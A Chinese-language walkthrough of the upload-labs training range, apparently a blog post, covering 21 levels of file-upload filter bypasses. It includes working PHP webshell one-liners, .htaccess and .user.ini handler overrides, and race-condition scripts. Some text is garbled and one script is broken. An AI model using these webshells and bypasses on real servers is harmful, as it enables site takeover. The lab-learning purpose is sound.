Pass01Javascript 前端检查
前端js限制,一般都是通过 JS 限制上传的文件类型,对于这种情况,我们可以采用以下几种方式绕过
1、禁用js
2、上传png后缀的webshell,代理抓包,修改上传的文件后缀
这里可能会遇到一个问题,burpsuite会抓不到包。这时我们只需把127.0.0.1改为本机IPv4的地址。
/154309.png)
3、修改JS文件
右键—查看网站源代码—全部复制—创建一个记事本—将代码放进去—把记事本后缀名改为.html—用Notepad打开—找到js代码—删除
如果我们打开,是有上传文件的界面,但是不知道要上传给谁。这时我们返回到最开始,右键—检查—网络—然后上传一个正常的图片。这样我们就可以看到这个文件传给谁了。
/155607.png)
然后我们在用Notepad打开我们自己的html文件,修改action,这个action是告诉他这个图片提交给谁,因为这个源代码中没有,我们就自己加一个。最后用浏览器打开我们的html文件,上传。php文件即可。
Pass02文件类型检查有缺陷
文件类型检查有缺陷(检查Content-Type标头是否与MIME 类型匹配)
上传php抓包,将Content-Type修改为允许上传的类型(image/jpeg、image/png、image/gif)
/164003.png)
Pass03黑名单限制不完全
对于黑名单限制上传文件后缀的 可以通过以下几种方式绕过
通过使用可被执行但不常见的后缀名,比如 php5,shtml,phps,pht,phtml等等
上传恶意的配置文件(Apache .htaccess) 欺骗服务器将任意自定义文件扩展名映射到可知执行的MIME类型
利用后端解析差异绕过限制
- 添加尾随字符,一些组件会去除或忽略尾随空格、点等:exploit.php. /exploit.php+空格
- 对点,斜杠 使用URL 编码, 如果验证文件扩展名时没有解码,在服务端被解码,绕过黑名单限制, exploit%2Ephp
- 在文件扩展名前添加分号或 URL 编码的空字节字符。如果验证是用 PHP 或 Java 等高级语言编写的,但服务器使用 C/C++ 中的低级函数处理文件,例如,这可能会导致文件名结尾出现差异:exploit.asp;.jpg或exploit.asp%00.jpg
这一关上传.php5即可,可以用蚁剑连接,我用的是php5.4.45
Pass04 .htaccess 扩展后缀名
这一关限制了很多后缀,尝试上传 .htaccess 配置文件,将haha.png图片当作php代码进行解析
注意:在httpd.conf文件中设置 AllowOverried All ,才能使用.htaccess文件
首先创建一个.htaccess文件,里面写上代码
<FilesMatch “haha.png”>
SetHandler application/x-httpd-php
</FilesMatch>
或:
<FilesMatch “haha”>
SetHandler application/x-httpd-php
</FilesMatch>
然后再上传图片马即可
Pass05
解法一:
这一关的思路是它没有循环验证,也就是说这些收尾去空,删除末尾的点,去除字符串::$DATA,转换为小写这些东西只是验证了一次。所以我们的绕过思路就很简单,在数据包中把后缀名改为.php. .说一下他的验证过程,首先他发现有一个点,这时会把他去掉,又发现有一个空格,也会把它去掉,我们这时还有一个点,也就是.php. 由于他只是验证一次,所以不会在去掉我们的点,这时就可以上传成功,也可以解析成功(系统会忽略最后一个点)。
解法二:.user.ini
首先上传.user.ini文件,文件内容为:
auto_prepend_file=haha.png
user.ini文件里的意思是:所有的php文件都自动包含haha.png文件。.user.ini相当于一个用户自定义的php.ini
接着上传Pass05.png文件,文件内容为:
<?php @eval($_POST[‘shell’]);?>
最后需要访问的是readme.php
需要条件:
- 服务器脚本语言为PHP
- 服务器使用CGI/FastCGI模式(phpstudy切换版本,nts就是fastcgi模式)
- 上传目录下要有可执行的php文件
.user.ini可以参考:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
解法三:
借助windows平台的正则匹配规则
如下符号在windows平台下等效果
" => .
> => ?
< => *
首先随便上传一个xxx.php:.jpg,此时服务器会生成一个xxx.php的空文件,然后,修改数据包文件名为:xxx.<<<
,这里在move_uploaded_file($temp_file, ‘../../upload/xxx.<<<’)类似与正则匹配,匹配到…/../upload/xxx.php文件,然后会将此次上传的文件数据写入到xxx.php文件中,这样就成功写入我们的小马了
Pass06大小写绕过
服务器端检查后缀时忽略了对大小写的检测,故可以通过大小写混合后缀绕过
Pass07黑名单限制不完全- 空格
这关没有首尾去空。上传php文件,抓包在后面加空格。
Windows下xx.jpg[空格] 或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点此处会删除末尾的点。
在Linux上面测试失败,Linux的机制很严格;在Windows上面测试成功!
Pass08黑名单限制不完全 - 点
这一关黑名单,没有使用deldot()过滤文件名末尾的点,可以使用文件名后加.进行绕过
同样Linux测试失败。
Pass09黑名单限制不完全 - ::$DATA
这一关黑名单,没有对::D A T A 进 行 处 理 , 可 以 使 用 : : DATA进行处理,可以使用::DATA绕过黑名单(仅限windows)
上传PHP一句话文件,抓包改后缀haha.php::$DATA(注意访问的时候不要加上::$data)
php在window的时候如果文件名+”::$DATA”会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持”::$DATA”之前的文件名 他的目的就是不检查后缀名。
Pass10
第10关好像和第五关重复了,可以用第五关的方法绕过
Pass11黑名单限制不完全 - 双写绕过
源码中 使用 str_ireplace 不区分大小写替换,只是替换了一次,我们可以利用双写绕过检查
上传文件名 :webshell.pphphp
Pass12-%00截断(GETurl路径可控)
这一关白名单,最终文件的存放位置是以拼接的方式,可以使用%00截断,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。
/223357.png)
url中的%00(只要是这种%xx)的形式,webserver会把它当作十六进制处理,然后把16进制的hex自动翻译成ascii码值“NULL”,实现了截断
Pass13-00截断(POST路径可控)
和12关区别就在于GET和POST,GET是可以把url自动解码的,但是POST不会
这里先写一个haha.php(空格)a,写空格是为了便于修改hex
/225738.png)
因为post不会像get对%00进行自动解码,所以需要将%00修改为hex 00
/225950.png)
Pass14文件内容检测
这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件
使用 图片马 + 文件包含 绕过
制作图片马上传
Linux下:
cat 1.png 1.php > 2.png
Windows下:
copy 1.png /b + 1.php /a 2.png
补充知识:
1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
2.Jpg图片文件包括2字节:FF D8。
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
4.Bmp图片文件包括2字节:42 4D。即为 BM。
我们这里直接可以在图片马开头加上GIF89a
上传图片马后点击‘文件包含漏洞’链接,然后在url里加上?file=upload/xxxxxxxx.gif即可
Pass15
image_type_to_extension 根据指定的图像类型返回对应的后缀名
和14关的做法一致
Pass16
exif_imagetype() 判断一个图像的类型,读取一个图像的第一个字节并检查其签名。
本函数可用来避免调用其它 exif函数用到了不支持的文件类型上或和 [$_SERVER’HTTP_ACCEPT’] 结合使用来检查浏览器是否可以显示某个指定的图像。需要开启 php_exif模块
和14关做法一致
Pass17二次渲染绕过
imagecreatefromjpeg()函数 二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败。
imagecreatefromjpeg二次渲染它相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染在这个过程中非图像数据的部分直接就隔离开了。
所以二次渲染绕过就是把原图和他修改过的图片进行比较,看看哪个部分没有被修改。将php代码放到没有被更改的部分。
这里有个小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点。上传正常的GIF图片下载回显的图片,用编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片
可以参考 https://xz.aliyun.com/t/2657
Pass18条件竞争
第十八关主要是对条件竞争的考察,我们看代码他是先将图片上传上去,才开始进行判断后缀名、二次渲染。如果我们在上传上去的一瞬间访问这个文件,那他就不能对这个文件删除、二次渲染。这就相当于我们打开了一个文件,然后再去删除这个文件,就会提示这个文件在另一程序中打开无法删除。
我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。把木马php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的。
操作:首先,我们上传PHP文件,我们把木马换一下改为:
<?php fputs(fopen('Tony.php','w'),'<?php @eval($_POST["Tony"])?>');?>
这样一旦访问到该文件就会在当前目录下生成一个Tony.php
的一句话,就不必被删除了。
用BP拦截
/192630.png)
然后点击Clear$
,接着设置无限发送空的Payloads
,来让它一直上传该文件
/193036.png)
可以把并发请求数设置高一点
/193626.png)
然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件
import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/haha.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
接下来我们可以在BP点击开始攻击,同时我们也要运行python脚本,当出现OK说明访问到了该文件,那么Tony.php应该也创建成功了。
参考https://blog.csdn.net/weixin_47598409/article/details/115050869
Pass19
第十九关的上传路径有点问题,不是上传到了upload里面,建议修改一下,进入第十九关,找到myupload.php文件,如图所示修改。改完后要重启靶场
/201031.png)
这关是先检查了后缀名,然后上传,然后在进行二次渲染。这时我们只能上传图片马,而且得配合apache解析漏洞或文件包含进行通关
这关和上一关操作差不多,不过得改一下python脚本:
import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/include.php/?file=./upload/haha.png
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
这里注意一下最后访问的URL为http://xxx.xxx.xxx.xxx/upload-labs/Tony.php
Pass20 /.绕过
move_uploaded_file()会忽略掉文件末尾的/.
save_name
可控,就可以直接将文件名写成haha.php/.
也可以用%00截断绕过
Pass21
参考别人得wp:
这一关白名单
验证过程:
--> 验证上传路径是否存在
--> 验证['upload_file']的content-type是否合法(可以抓包修改)
--> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
-->判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组
--> 判断数组最后一个元素是否合法
--> 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
--> 上传文件
/210539.png)
上传一句话png,burp抓包并改包:
/210652.png)
修改POST参数为数组类型,索引[0]为`haha.php`,索引[2]为`jpg|png|gif`。 只要第二个索引`不为1`,$file[count($file) - 1]就等价于$file[2-1],值为空
最后,服务端就成功存在了haha.php
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。